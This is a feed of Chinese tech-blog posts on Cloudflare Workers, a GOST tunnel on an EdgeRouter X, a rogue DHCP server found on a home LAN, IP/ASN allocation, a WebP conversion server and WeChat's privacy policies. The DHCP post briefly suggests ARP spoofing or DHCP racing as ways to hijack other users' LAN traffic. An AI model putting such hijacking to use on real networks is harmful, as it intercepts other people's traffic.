async function gatherResponse(response) {
  const { headers } = response
  const contentType = headers.get('content-type') || ''
  if (contentType.includes('application/json')) {
    return JSON.stringify(await response.json())
  } else {
    return await response.text()
  }
}

然后一个 Serverless 的 G2WW 就这么做好了,非常简单是不是?

我们把代码推到 Cloudflare 上:

wrangler publish

然后配置一下 Grafana 的报警 Channel 并看看效果如何:

配置个地址,图片中使用了 https://g2ww.nova.moe/<key>,其实可以使用 https://g2ww-serverless.nova.moe/<key>,然后点一下 「Send Test」。

一个可用的成品 Demo + 使用方法: https://g2ww-serverless.nova.moe

当然,这个只是一个 Hack,最终还是希望 Grafana 可以直接原生支持企业微信,我已经给他们提了一个 PR Add a new notifier : WeChat Work(企業微信) #26109,希望他们能快点合并吧。

尾声

以上通过一个简单的例子大致走了一遍 Cloudflare Workers 的基本用法,当然,Cloudflare Workers 的玩法绝对不止这么点,尤其是在 KV 的加持下,一定会有更多的有意思的项目兴起,比如他们的「Built with Workers」就有很多的优秀的项目,从各个角度发觉 Cloudflare Workers 的用法。

想到之前在某论坛上看到的一句话:

想法太多,我们却很少停下来看看真正的需求是什么,并对自己的技能进行提升和学习,一直忙于低头走路,以至于越走越累了。

除了已有的项目以外,我们还能利用它来做点什么呢,我想这是一个值得思考的问题。

References

  1. Alert notifications | Grafana Labs
  2. Everyone can now run JavaScript on Cloudflare with Workers
  3. Cloudflare Workers
  4. FetchEvent
  5. Time to first byte
]]>
在 UBNT ERX 上搭建 GOST 隧道https://nova.moe/gost-tunnel-on-ubnt-erx/Sat, 04 Jul 2020 13:42:50 +0800https://nova.moe/gost-tunnel-on-ubnt-erx/前段时间有个需求,需要在一个有公网 IP 的环境下放一个 GOST 隧道入口(或者称为「中转」),对于这种需求一般来说想到的方式是在内网下开一个 GOST 隧道,然后通过路由器做一个端口映射给内网下的那台机器,但是由于功耗考虑对方不希望这么做,加之买的树莓派 4 还没到(为啥不早点买…),于是开始调研一下如何合理利用一下唯一的那个路由器来完成这个需求。

UBNT ERX

网上有很多类似的说明,这里也就不额外展开了,官方的介绍是:

The EdgeRouter™X delivers cost-effective routing performance in an ultra‑compact form factor.

对于我们而言,我们一般关注以下特性:

OS

UBNT ERX 默认使用的 EdgeOS 是一个魔改版的 Debian,如果你使用了 v2.0.x 的固件,那么就是 Debian 9,不然是 Debian 7,目前手上这个路由器运行着 v2.0.8,也就是 Debian 9

  • EdgeOS v2.0.0 Release Uses Debian 9 (Stretch).
  • Older EdgeOS Releases Uses Debian 7 (Wheezy).

要升级固件的话看官网:Ubiquiti - Download,注意 UBNT 给 ER-X 同时提供了两个版本的固件,一个是 v1.10.x,一个是 v2.0.x,都是可用的,不过有说法是 v2.0.x 相比较之前的 bug 会变多,转发性能下降。

在升级系统这块,如果系统中有多于两个镜像的话,几乎约等于重启后无法起来(由于存储空间实在太小了,只有 256 MB),所以升级系统前建议先 SSH 到路由器上 show system image 一下看看有没有多余的系统,例如本例中只有一个 image:

ubnt@ubnt:~$ show system image 
The system currently has the following image(s) installed:

v2.0.8-hotfix.1.5278088.200305.1641 (running image) (default boot) 

如果有多的话,使用 delete system image,删掉多余的,或者如果 default boot 不是最新系统的话使用 set system image default-boot 切换一下默认开机系统,重启后删除另一个多余的系统。

Hardware

在硬件方面我们需要关注的是:

  • Max. Power Consumption: 5W(功耗很小)
  • Processor: Dual-Core 880 MHz, MIPS1004Kc
  • System Memory: 256 MB DDR3 RAM
  • Code Storage: 256 MB NAND(存储空间很小,别瞎装不需要的包)

对于 CPU 来说,SSH 进入路由器后通过 lscpu 可以看到如下输出:

Architecture:          mips
Byte Order:            Little Endian
CPU(s):                4
On-line CPU(s) list:   0-3
Thread(s) per core:    2
Core(s) per socket:    2
Socket(s):             1
BogoMIPS:              581.63
L1d cache:             32K
L1i cache:             32K
L2 cache:              256K

用的是小端法(Little Endian),所以后文中下载的包一律找包含关键词 mipsle 的(le -> little endian)。

Configuration

有了以上预备知识之后就可以开始配置路由器了,在本文中,路由器的配置模式为「光猫桥接,路由器 eth0 口 PPPoE 拨号,eth1~eth4 配置在 switch0 接口上并开启了 DHCP」

Add Debian repo

SSH 到路由器上后使用:

configure
set system package repository stretch components 'main contrib non-free' 
set system package repository stretch distribution stretch
set system package repository stretch url http://mirrors.tuna.tsinghua.edu.cn/debian
commit ; save

配置 Debian 的源,这里使用了清华的源,如果有别的需求的话可以上 Debian worldwide mirror sites 找一下对于你来说速度比较快的源,记得看后面的注释是需要包含 mipsel 的,比如下图中的 163 的源这种就不要选了:

配置好后 apt update 一波(但别 apt upgrade,不然要炸),然后安装用来临时保持的 screen,和用来传包的 rsync: apt install screen rsync -y

Download GOST

在自己电脑上下载 GOST,在写本文时 GOST 版本为 v2.11.1,所以用的是 https://github.com/ginuerzh/gost/releaseshttps://github.com/ginuerzh/gost/releases/download/v2.11.1/gost-linux-mips64le-2.11.1.gz

在本地解压之后把 GOST 的可执行文件传上路由器,然后在路由器上开 screen 后启动 GOST,这里假设你使用的是如下指令启动的 GOST(监听本地 3306 端口,并使用 WebSocket 隧道转发到远程 12.34.56.78 的 995 端口):

./gost -L=tcp://:3306 -L=udp://:3306  -F=forward+ws://12.34.56.78:995

Configure Firewall

由于这个程序是直接开在路由器上的,UBNT ERX 默认有防火墙挡住了这个请求,所以需要在防火墙上开个口子放行 3306 端口的流量到路由器上,在 「Firewall/NAT」 那一栏找到 WAN_LOCAL

并加入一条目的地址为 3306 的放行规则即可:

Performance

在测试的情况下,用 wss Forward 方式,跑到 45 Mbps 左右的时候路由器的 CPU 接近 100%。

Misc

POC

以上只能算是个 POC 了,证明路由器可以这么用,但是从转发(以及加解密)性能来看,跑 GOST 的确吃力,通过这个实验也算是慢慢理解为啥之前某著名代理工具的某些加密算法会强调在弱算力设备上的运行速度。

DDNS

UBNT ERX 没有自带 DDNS 功能,不过既然路由器上有 Linux 环境,我们可以自己搓一个出来,可以参考我的笔记本: 用 cURL 自動更新 Cloudflare IP 地址實現 DDNS,配合 crontab 使用。

HWNAT

许多人拿到路由器后可能会习惯性地打开 Hardware Offloading,虽然这个特性有一些好处,比如:

Without offloading enabled, IPv4 traffic will be routed via the CPU and will be limited to around 300Mbps on the EdgeRouter Lite (ERLite-3). With offloading enabled, the throughput will be about 950Mbps.

但是在文末 Reference 3 链接中有一些说明:

You should only need to enable offloading for these features if you are using them in your environment. However, enabling offloading for all features will not cause a negative impact if those features are not being used.

开启前建议仔细阅读一下。

Refereneces

  1. EdgeRouter - Add Debian Packages to EdgeOS
  2. 路由 UBNT ER-X 官方固件升级及开启硬件加速的方法
  3. EdgeRouter - Hardware Offloading
]]>
我是怎么莫名地劫持了自己的 DHCP 的https://nova.moe/multiple-dhcp-answer/Sun, 26 Apr 2020 22:11:23 +0800https://nova.moe/multiple-dhcp-answer/DNS 抢答

我们都知道,传统的 DNS 走的是 UDP 协议,在大陆的网络环境下,DNS 请求是可以被抢答的,不信你看:

# 美西的机器
root@pf:~# dig www.bennythink.com +short
104.27.167.30
104.27.166.30

# 大陆的机器
➜  ~ dig www.bennythink.com +short
67.15.129.210

天知道国内这个这是个什么 IP!

DNS 抢答有不少优点,比如:

  • 对于国内用户而言,DNS 请求不再需要一层层递归到原始 NS 服务器了
  • 整个大陆有超多 POP 为对应的请求响应,缩小了延迟
  • 减少了 NS 服务器的压力和请求次数

唯一的问题就是:

  • 它解析出来的 IP 是不能用的

DHCP

对于 DHCP 的简要原理,在之前的博文(我们的 IP 是怎么来的——从本地路由 DHCP 到 IANA 的 “公网” IP 分配)中我们知道,和 DNS 类似,它也是一个走 UDP 的,随缘返回的一个协议,但是和 DNS 不同,大部分的 DHCP 请求都是在一些内网中,由于路由器广播域的限制,DHCP 请求一般不会被漏到公网中。

DHCP Error

前段时间在配置一个网络的时候,插上自己电脑的网线发现 IP 不再是熟悉的 192.168.1.xxx ,而变成了 10.19.89.xxx,“但是依然可以正常上网”。

这个时候第一反应是访问一下之前的网关 192.168.1.1,发现能 ping 通,也可以正常地访问到对应的配置页面。

这个时候问题就非常奇怪了,除了在寝室内有配置过这个段以外,应该不会在什么地方配置这么个段吧…

思前想后终于想到了在某个图形化的界面上配置过这么个 IP 段:

然后突然想到了角落的一台 NUC,那还是几天之间为了保证国内其他地区用户可以通过它连接到国内大内网中而随意开的一个 SoftEther VPN Server,最初尝试失败之后就被搁置了,没想到它的 SecureNAT 功能在本地内网内成为了一个 DHCP 服务器继续发光发热。

DHCP Packet

在大概确认了来源之后,就开始打开 Wireshark 开始抓包了,很快就可以看到又如下的包:

从上面的包中我们可以看到,我的电脑先是对外发了一个 DHCP Discovery 的广播包,然后有两个 DHCP 服务器给我们客户端发了 Offer ,分别是 192.168.1.110.19.89.1,且后者先给的 Offer,于是我们的客户端接受了这个 10.19.89.1 的 Offer。

由于没有配置IP地址、网关、DNS 等,在网络上是寸步难行的,因此首先需要从 DHCP 那获得这些。然而,既然连 IP 地址都没有,那又是如何通信的?显然,只能发到广播地址(255.255.255.255)上,而自己则暂时使用无效的IP地址(0.0.0.0)。(事实上,链路层的通信只要有 MAC 地址就行,IP 地址已属于网络层了,但 DHCP 由于某些特殊需要使用的是 UDP 协议)

因为是发往广播,内网环境里的所有用户都能听到。如果存在多个DHCP服务器,则分别予以回复;用户则选择最先收到的。由于规则是如此简单,以至于用户没有选择的余地。

来源:https://www.jianshu.com/p/aed707f183c5

所以之前的问题也就非常明显了,由于自己的配置失误,被内网另一个 DHCP 服务器抢答了 DHCP 请求(连网关都抢过去了),所有的流量都走了那台 NUC,然后那台 NUC 再向上转发了对应的流量。

这个时候另一个问题出现了,为什么同在 192.168.1.0/24 网段下的 NUC 可以更快地发出 DHCP Offer 呢?

所以在一个内网下,如果想要劫持原有用户流量我们可以走 ARP 欺骗的路子,如果希望劫持新用户的流量,还可以考虑一下 DHCP 抢答的方式(当然,成功率随缘),这个时候回头来看一下在学校里面非常常用的 EtterCap 的 DHCP Spoof 功能…

感慨万千…

]]>
我们的 IP 是怎么来的——从本地路由 DHCP 到 IANA 的 “公网” IP 分配https://nova.moe/how-the-ips-are-assigned/Fri, 27 Mar 2020 13:12:00 +0800https://nova.moe/how-the-ips-are-assigned/curl ip.sb 一下,你就可以看到自己的 IP,但是这个 IP 是怎么来的,这个问题在多年前困扰了我好久,最近由于自己有 ASN 和一小段 IP,所以便有了整理本文的想法,一来可以分享一些可能大家少关注的信息,另一个方面也是增强一下自己对于知识的理解,因为:

在【理想情况】下,如果你已经对某个领域某个分支达到【完全掌握】的程度,那么你就可以比较轻松地写出该领域某个分支的【通俗性读物】,并且确实能让【外行人】看懂,反之,如果你的掌握程度还不够。

——如何【系统性学习】——从“媒介形态”聊到“DIKW 模型”

IP 地址分类

首先我们介绍一个简单的概念,IP 地址有哪些分类,这个我们在各类计算机网络的书上都见过,由于我本人一直没能背下来,所以这里再贴一下相关的表格:

Prefix Designation and Explanation IPv4 Equivalent
::1/128 Loopback
This address is used when a host talks to itself over IPv6. This often happens when one program sends data to another.
127.0.0.1
fc00::/7
Example: fdf8:f53b:82e4::53
Unique Local Addresses (ULAs)
These addresses are reserved for local use in home and enterprise environments and are not public address space.These addresses might not be unique, and there is no formal address registration. Packets with these addresses in the source or destination fields are not intended to be routed on the public Internet but are intended to be routed within the enterprise or organisation.See RFC 4193 for more details.
Private, or RFC 1918 address space:
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fe80::/10
Example: fe80::200:5aee:feaa:20a2
Link-Local Addresses
These addresses are used on a single link or a non-routed common access network, such as an Ethernet LAN. They do not need to be unique outside of that link.Link-local addresses may appear as the source or destination of an IPv6 packet. Routers must not forward IPv6 packets if the source or destination contains a link-local address.Link-local addresses may appear as the source or destination of an IPv6 packet. Routers must not forward IPv6 packets if the source or destination contains a link-local address.
169.254.0.0/16(可以参考 关于 169.254.0.0/16 地址的一点笔记
2000::/3 Global Unicast
Other than the exceptions documented in this table, the operators of networks using these addresses can be found using the Whois servers of the RIRs listed in the registry at:http://www.iana.org/assignments/ipv6-unicast-address-assignments
No equivalent single block
ff00::/8
Example: ff01:0:0:0:0:0:0:2
Multicast
These addresses are used to identify multicast groups. They should only be used as destination addresses, never as source addresses
224.0.0.0/4

IP 是如何分配的

我们要探寻的第一个问题在于,IP 是怎么来的,这个时候如果你使用的是 Windows,那么你的第一反应应该是 ipconfig ,作为 BSD 用户,可能第一反应是 ip addr,这个时候如果你在家中的话,可能就会看到非常常见的 172.16.xxx.xxx,好了,这个时候参考上表,我们可以知道这个 IP 是一个:Unique Local Addresses,或者也就是我们所谓的保留地址,或者私有地址,这个 IP 地址是如何来的?

DHCP!(大声)

没错,DHCP 全称 Dynamic Host Configuration Protocol,简单来说,你连接上家里路由器,然后 DHCP 就会开始工作,如果要说的详细一点的话,DHCP 是走的 UDP,且分为一下四个步骤:

  • Server discovery(这网络中有 DHCP 服务器嘛?此时会有一个 DHCPDISCOVER 包)
  • IP lease offer(有!太有了,我就是,我收到了你的 DHCPDISCOVER,这里是 DHCPOFFER 包,包含了给你分的 IP 地址,子网掩码,还有我们的 DNS 服务器信息)
  • IP lease request(客户端收到并接受一个 DHCPOFFER 之后进行确认,好,我就要这个 IP 了,此时发送一个 DHCPREQUEST 包)
  • IP lease acknowledgement(服务器接受到 DHCPREQUEST 包之后会返回一个 DHCPACK 包,了解自己已经成功分配地址给客户端)

这个时候我们已经获得了一个所谓的内网 IP 了,且由于 NAT 的存在,我们可以一个家庭共享一个「公网 IP」(如果你家有的话,如果没有的话,可以打电话给 ISP 要求开通,是免费的)来上网了,那我们这个「公网 IP」又是如何得到的呢?

还是 DHCP,不过底层一般还有一个 PPPoE 的封装,也就是所谓的宽带拨号,如果你不熟悉原理的话,可以参考Point-to-Point Protocol over Ethernet

在一个简单的模型下,你的「内网 IP」为 172.16.0.1/24,你的「公网 IP 」为 123.19.98.2/32,那么你的运营商一定是因为拥有包含了你的「公网 IP」的段才可以这么分配,那么运营商是如何获得这个段的呢?

IP 是如何来的

我们知道在一个隔离的局域网下,在可以用的私有地址中我们可以随意指定设备的 IP,比如路由器(或者叫网关)指定一个 172.16.0.1,然后每个客户端上分配 172.16.0.1/24 段中的地址,但是在一个公网环境下,事情就没有那么简单了。

IP 是谁在管理

是 IANA,Wiki 描述如下:

The Internet Assigned Numbers Authority is a function of ICANN, a nonprofit private American corporation that oversees global IP address allocation, autonomous system number allocation, root zone management in the Domain Name System, media types, and other Internet Protocol-related symbols and Internet numbers.

一般来说,你的 IP 可能会属于一个 ASN,也就是 Autonomous System Number,以 Cloudflare 之前得手的 1.1.1.1 为例,从 https://bgp.he.net/ip/1.1.1.1 上可以看到,这个 IP 属于 AS13335 Cloudflare,他甚至拥有 1.1.1.0/24 整个段,所以 Cloudflare 可以自由地使用自己的 IP 地址。

接下来一个问题就显而易见了,我们如何拥有一个自己的 IP 地址,或者说,怎么证明自己拥有了 IP 地址呢?

如何证明自己对于 IP 地址的所有权

假设你有了,对,就是你有了,别说怎么来的,那么如何证明你有了?

首先我们知道一个 IP 是包含在一个 ASN 中的,所以给定一个 IP 或 ASN,一定可以查询到关于 ASN 的所有信息,例如上文中的 AS13335 的 WHOIS 信息如下(可以在 https://apps.db.ripe.net/db-web-ui/lookup?source=ripe-nonauth&key=AS13335&type=aut-num 看到):

    aut-num:         AS13335
    as-name:         CLOUDFLARENET-AS
    descr:           Cloudflare, Inc.
    descr:           101 Townsend Street, San Francisco, CA 94107, US
    status:          OTHER
    mnt-by:          MNT-CLOUDFLARE
    org:             ORG-CI40-RIPE
    notify:          rir@cloudflare.com
    admin-c:         CAC80-RIPE
    tech-c:          CTC6-RIPE
    remarks:         See ARIN database for complete information
    created:         2015-10-08T16:51:14Z
    last-modified:   2019-03-19T21:30:09Z
    source:          RIPE-NONAUTH

其中 mnt-by 表示这个 ASN 的 Maintainer,也就是 MNT-CLOUDFLARE,相关 WHOIS 如下:

    mntner:          MNT-CLOUDFLARE
    descr:           Cloudflare, Inc.
    descr:           101 Townsend Street, San Francisco, CA 94107, US
    admin-c:         ML18637-RIPE
    admin-c:         SR11544-RIPE
    admin-c:         TP5485-RIPE
    upd-to:          ripe@cloudflare.com
    auth:            MD5-PW# Filtered
    auth:            SSO# Filtered
    auth:            SSO# Filtered
    auth:            SSO# Filtered
    mnt-by:          MNT-CLOUDFLARE
    notify:          ripe@cloudflare.com
    mnt-nfy:         ripe@cloudflare.com
    created:         2012-08-10T03:29:42Z
    last-modified:   2019-03-14T22:25:52Z
    source:          RIPE# Filtered

这样你就可以知道这个段的 IP 属于谁了,所以我们理一下关系:一个 IP 一定属于某一个段(比如 1.1.1.1 属于 1.1.1.0/24 段),这个 IP 段一定属于某一个 AS ,IP 段的所有者信息其实是 AS 的所有者信息,那么,如果你想有一个属于自己的 IP 的话,其实就很明确了,需要有一个 AS。

如何获得一个 ASN/IP 段

对于想获得自己 IP 段或者 ASN 的同学,有以下两个方式:

  • 自己成为 LIR,这样可以获得很多个 ASN,但是这样的价格非常高
  • 找一个 LIR 来赞助你申请一个 ASN,普遍费用比较低

当自己有了 ASN 之后我们就可以购买一个 IP 段了,如上文所说,IP 和 ASN 存在对应关系,所以当你购买了 IP 之后就会出现在你的 ASN 下,然后,由于在 mnt-by 上标记了你的邮件地址,这个时候你通过这个邮件地址发出的邮件就具有证明效益了,为什么如此,见下文。

如何使用 IP 地址

现在我们有了 ASN 和 IP 地址,我们要如何使用到自己的 IP 地址呢?我们需要对自己的 IP 进行 IP 宣告(IP Announcement):

IP Announcement (IPAN) enables you (if you have your own AS (Autonomous System) and IP Ranges) to have your IP addresses announced by Leaseweb. This allows you to use a larger amount of IPs on a rack or server (than the standard allocation of Leaseweb) and keep the IPs when moving to another provider.

如果使用了一些机房的网络,或者需要使用 HE 的 Tunnel Broker,我们需要先发送一个被称为 LOA 的文件,比如 Leaseweb 就有如下要求:

If the organization and/or individual does not own the IP prefix that needs to be advertised, we will require a Letter Of Authorization (LOA) from actual owner of the IP prefix.

LOA 的内容可以类似如下:

AUTHORIZATION LETTER

2020/02/18

To whom it may concern,

This letter serves as authorization for Hurricane Electric, AS6939 to announce the following netblocks:

2xxx:xxxx:xxxx::/48

As a representative of the company XXXX that is the owner of the subnet and/or ASN, I hereby declare that I'm authorized to represent and sign for this LOA.

Should you have questions about this request, email me at XXXX@XXXX.XXX.

From,

XXXX

当然,形式不拘一格,差不多是那么回事就可以,然后注意,需要用上面 MNT 的邮件地址发送以证明所有权。

如何宣告 IP

这里推荐几个不错的实践教程:

出于篇幅考虑,本文就不再继续讨论 IP 宣告的背后原理了,有兴趣的读者可以先自行探索一下,现在你已经有了自己的 IP 和 ASN 了,为什么不去玩玩看 Anycast 呢?比如可以搭建 Cloudflare 背后的 IPv6 AnyCast 网络

Reference

  1. IPv6 Address Types
  2. Dynamic Host Configuration Protocol
  3. Point-to-Point Protocol over Ethernet
  4. How are IP addresses actually assigned?
]]>
让站点图片加载速度更快——引入 WebP Server 无缝转换图片为 WebPhttps://nova.moe/re-introduce-webp-server/Mon, 24 Feb 2020 22:17:13 +0800https://nova.moe/re-introduce-webp-server/为了知道我们的 Web 站点性能如何,我们一般会使用 Google 的 PageSpeed Insights ,其中,我们可能经常看到如下提示:

同时,你的打分也会被下降了,如何解决这种问题呢?

Image formats

我们知道,图片一般有不同的格式,比如我们常见的 JPG,PNG 就分别属于两种不同的图片格式,通过是否对图片进行压缩,我们可以分为:

  • 无压缩。不对图片数据进行压缩处理,能准确地呈现原图片。 BMP 格式就是其中之一。
  • 无损压缩。压缩算法对图片的所有的数据进行编码压缩,能在保证图片的质量的同时降低图片的尺寸。 png 是其中的代表。
  • 有损压缩。压缩算法不会对图片所有的数据进行编码压缩,而是在压缩的时候,去除了人眼无法识别的图片细节。因此有损压缩可以在同等图片质量的情况下大幅降低图片的尺寸。 其中的代表是 jpg。

除了是否压缩以外,还有一个大家可能经常会遇到的问题——图片是否有透明图层,例如在之前的「搭建 Cloudflare 背后的 IPv6 AnyCast 网络」中的图片,在嵌入我的文章时并不会因为背景颜色的变化而显示出一个白色的背景,这是因为图片存在「透明通道(阿尔法通道)」,常见的支持透明通道的图片格式有:PNG,PSD,JPEG XR 和 JPEG 2000,其中后两者也是 Google 推荐的图片的 next-gen formats 之二,而常见的无透明通道的则是:JPEG 啦。

除了这个之外,还有一个由 Google 牵头研发,Telegram Stickers 主力使用的文件格式——WebP。

WebP

WebP的有损压缩算法是基于VP8视频格式的帧内编码[17],并以RIFF作为容器格式。[2] 因此,它是一个具有八位色彩深度和以1:2的比例进行色度子采样的亮度-色度模型(YCbCr 4:2:0)的基于块的转换方案。[18] 不含内容的情况下,RIFF容器要求只需20字节的开销,依然能保存额外的 元数据(metadata)。[2] WebP图像的边长限制为16383像素。

在 WebP 的官网中,我们可以发现 Google 是这样宣传 WebP 的:

WebP lossless images are 26% smaller in size compared to PNGs. WebP lossy images are 25-34% smaller than comparable JPEG images at equivalent SSIM quality index.

简单来说,WebP 图片格式的存在,让我们在 WebP 上展示的图片体积可以有较大幅度的缩小,也就带来了加载性能的提升。

要生成一个 WebP 图片非常简单,只需要下载 Google 提供的 cwebp 工具,并且使用:

cwebp -q 70 picture_with_alpha.png -o picture_with_alpha.webp

就可以进行转换了,转换出来的 webp 图片比原图会小不少,但是这个是单张图片,我们的目的是让站点的图片可以无痛地以 WebP 格式输出,如果我们的博客上有 100+ 张图片转换该如何操作呢?如果是更多呢?

聪明的人可以想到——我们可以写一个脚本来自动转换,或者使用一些服务器插件,比如 mod_pagespeed (可以参考之前的文章:使用 Nginx 和 mod_pagespeed 自动将图片转换为 WebP 并输出),但是这些操作都有其特定的局限性,以 mod_pagespeed 为例,假设你能流畅完成编译/安装/配置,它的转换需要以图片和站点内容在一个目录下为前提,并通过修改 URL 的方式进行转换,举例来说,你的图片地址为:

<img src="picture_with_alpha.png">

那么经过转换后的图片可能为:

<img src="picture_with_alpha.png.pagespeed.ic.uilK6vtMij.webp">

这样可以做到图片和转换后的图片分离的效果,但是这种转换我个人博客上便无法完成,为了方便配置和防止被绑死在一个博客平台上,我的博客图片被统一地放在了 / 地址上,这样 mod_pagespeed 便无法发挥作用了。

Polish

在 Cloudflare 中,Pro 用户可以使用到一个功能——Polish,功能描述如下:

Improve image load time by optimizing images hosted on your domain. Optionally, the WebP image codec can be used with supported clients for additional performance benefits.

如果选择了 Serve WebP Image 的话,通过 Cloudflare 的图片请求会被无缝地转换为 WebP 格式输出,同时请求头部中,会多一个名为 cf-polished 的 Header,用来 debug 转换情况。有兴趣的读者可以看一下 Cloudflare 的博文「Using Cloudflare Polish to compress images」来了解更多相关信息。

Cloudflare 的这个功能很赞,由于这个转换需要算力,所以 Polish 只提供给 Pro 用户使用,为了同样使用到类似的功能,我用 NodeJS 写了一个服务器,命名为 WebP Server,之后和 Benny 用 Golang 重写了一遍,命名为 WebP Server Go。

WebP Server Go

由于 WebP Server 和 WebP Server Go 功能类似,且由于主要在发展后者,这里直接介绍 Go 版 WebP Server 啦。

WebP Server Go 的使用方式非常简单,由于使用 Go 编写,使用者只需要下载单一文件——webp_server,创建一个 config.json 文件,内容大致如下:

{
	"HOST": "127.0.0.1",
	"PORT": "3333",
	"QUALITY": "80",
	"IMG_PATH": "/path/to/pics",
	"ALLOWED_TYPES": ["jpg","png","jpeg"]
}

然后 webp_server --config /path/to/config.json 即可运行 WebP Server,最后加上 Nginx 的反向代理就可以用了。

举个例子,有一张图片是 https://image.nova.moe/tsuki/tsuki.jpg,对应的图片在服务器上的存放目录为 /var/www/nova-image/tsuki/tsuki.jpg 的话,那么,配置文件中的 IMG_PATH 就是 /var/www/nova-image,同时,每次转换导出的 webp 图片会被缓存到 webp_server 同目录的 exhaust/tsuki/tsuki.webp 下,供后续访问的时候直接输出使用。

最重要的一点是——我们访问的 URL 可以完全不用改变,访客访问的依然是 https://image.nova.moe/tsuki/tsuki.jpg ,但是得到的图片格式为:image/webp,而且体积减少了不少。

而且,对于 Safari 用户来说,WebP Server 会选择直接输出原图,防止出现输出的 webp 图片不能显示的情况。

Effect

那么这个 WebP Server 效果如何呢?以一篇包含了不少图片的文章「那些年我开过的车(们)」为例:

Before WebP Server

在默认原图输出的时候,PageSpeed 得分为

对应的图片请求为:

After WebP Server

使用了 WebP Server 之后:

看上去很赞是不是~

Afterword

写作本文时,正好是乔布斯的生日,想到之前看到的一段话。

我们很多人都想回馈社会,在这股洪流中再添上一笔。这是用我们的专长来表达的唯一方式——因为我们不会写鲍勃·迪伦的歌或汤姆·斯托帕德的戏剧。 我们试图用我们仅有的天分去表达我们深层的感受,去表达我们对前人所有贡献的感激,去为这股洪流加上一点儿什么。那就是推动我的力量。

——《史蒂夫·乔布斯传》

这世界上轮子太多,在各种开发工具的加持下造出一个没有解决任何痛点的粗糙轮子也越发简单,而专注于解决特定需求的工具只有少量沉淀,在这个 PNG/JPG 和 WebP 共存的历史背景下,希望 WebP Server Go 成为起到一个平稳过渡的工具,目前代码已经开源在 GitHub:n0vad3v/webp_server_go,由于初学 Go 没多久,代码上可能还有不少欠缺考虑的地方,还望未来的使用者海涵。

Happy Hacking!

]]>
对于微信「隐私政策」的一点小的发现https://nova.moe/some-finding-on-wechat-privacy-policy/Sat, 22 Feb 2020 22:21:38 +0800https://nova.moe/some-finding-on-wechat-privacy-policy/

2021-09-05 更新,加入不同区域的 Weixin/Wechat 功能对比,来自:https://twitter.com/jike_collection/status/1434345153091674117/photo/1

我们知道,在中国大陆,很多地方都开始「微信化」,在前些年可能我们还能脱离微信活着,带来的损失也就仅仅是丢失一些只会用微信的联系人。

但是随着时间的推移,越来越多的服务开始依托这个难用的微信,无论是办公(企业微信)还是出行(车库出场扫码),微信带给部分使用者(企业管理,车库管理)的少量便利性已经开始慢慢变为强制大家将微信作为一个他们所宣传的「一种生活方式」的形式出现在自己的生活中。

处处要微信扫一扫,腾讯从垄断人的嘴,转变成垄断人的数字生活,最后升级成垄断人的一生。 最后由于一些莫须有的原因,一个微信号被封了,就相当于人权被剥夺…

微信的难用是有目共睹的,企业微信那文档质量也是大家懂的,微信小程序开发环境的蹩脚程度,可能相关开发者也所感触,不过本文并不想来过多地吐槽微信作为产品有多垃圾和反互联网化,我们来看看一个大家少有的关注点:「隐私政策」。

我知道你们注册任何东西的时候都不会仔细阅读那一行仅能看清的「我已阅读并同意「安全守护」用户协议 和 隐私政策」(可参考:「当代人最违心的话,是“我已阅读并同意隐私政策”_新浪科技_新浪网」),但是这个里面可能会藏有许多的坑和意想不到的事实,例如租车行业,可以参考之前我的文章「谈谈我对大陆分时租车的理解」,这种长期实名使用的玩意,还是多看一眼吧…

由于微信和我们的生活存在了一个相当强的耦合关系,很多时候没法直接剥离,所以有必要多了解一些政策机制,最近在一个好友分享给我了微信隐私政策的截图后,挖掘了一下微信隐私政策中一些或许值得我们关注的点,在此分享出来。

「微信隐私保护指引」和「WeChat 隐私保护概述」

第一点,微信(WeChat)有两套「隐私政策」,分别为:

  • 「微信隐私保护指引」(地址:https://weixin.qq.com/cgi-bin/readtemplate?lang=zh_CN&t=weixin_agreement&s=privacy ,备份:https://archive.is/ryyT0)
  • 「WeChat 隐私保护概述」(地址:https://www.wechat.com/zh_CN/privacy_policy.html ,备份:https://archive.is/JAw99)

通过下文的对比,上面两份「隐私政策」的面相对象应分别为:中国大陆用户和非中国大陆用户。

数据存放位置

在 「微信隐私保护指引」中,我们发现:

2.1 信息存储的地点

我们会按照法律法规规定,将境内收集的用户个人信息存储于中国境内。

而在「WeChat 隐私保护概述」中,我们看到:

我们在哪里处理您的数据?

我们的服务器设在加拿大安大略省和中国香港。我们还有遍布世界各地的支持、工程和其他团队,支持向您提供WeChat。我们可能会从这些位置访问您的数据。我们采取严格的内部控制措施,严格限定仅指定团队成员才能访问您的数据。

我们会将向您收集的个人信息传输至以下地点并在其中对信息进行存储或处理:

  • 加拿大安大略省(根据 2001 年 12 月 20 日发布的欧盟委员会第 2002/2/EC 号决议,认定此地点能为个人信息提供足够的保护级别);
  • 中国香港(我们依赖欧盟委员会关于向第三国传输个人数据的范本合同(即,标准合同条款),依据第 2001/497/EC 号决议(如果传输给控制者)和第 2004/915/EC 号决议(如果传输给处理者)。

我们的支持向您提供WeChat的工程、技术支持以及其他团队分布在我们遍布世界各地的办事处(包括新加坡、中国香港和荷兰),为了向您提供服务(例如,为解决您报告的技术问题),这些团队有时可能会访问您的某些数据。我们依赖欧盟委员会关于向第三国传输个人数据的范本合同(即,标准合同条款),依据第 2001/497/EC 号决议(如果传输给控制者)和第 2004/915/EC 号决议(如果传输给处理者)。

数据控制者

在 「微信隐私保护指引」中,并没有明确说明,这里参照文末的:

腾讯《隐私政策》是腾讯统一适用的一般性隐私条款,其中所规定的用户权利及信息安全保障措施均适用于微信用户。

找到:

中国广东省深圳市南山区科技园科技中一路腾讯大厦法务部数据及隐私保护中心(收)

而在「WeChat 隐私保护概述」中:

数据控制者:

  • 欧洲经济区和瑞士境内 的用户:Tencent International Service Europe BV.(腾讯国际服务欧洲私人有限公司)
  • 欧洲经济区或瑞士以外的用户(受以下条件的约束):Tencent International Service Pte. Ltd.(腾讯国际服务新加坡私人有限公司)

如果您符合下列条件之一:

(a) 通过绑定中华人民共和国(此处仅限“中国大陆”,不含港澳台地区)境内购买的手机号码进行注册(即使用国际区号 +86 的联系电话);或

(b) 就微信或 WeChat 与深圳市腾讯计算机系统有限公司 (Shenzhen Tencent Computer Systems Company Limited) 签订了合同(例如,您已从 PRC iOS 应用商店或 PRC Android 应用商店下载了微信或 WeChat),

您将受微信服务条款微信隐私政策的约束,而不受本隐私政策的约束。

数据保护官:

  • 电子邮件:dataprotection@wechat.com
  • 邮政邮件:26.04 on the 26th floor of Amstelplein 54, 1096 BC Amsterdam, the Netherlands

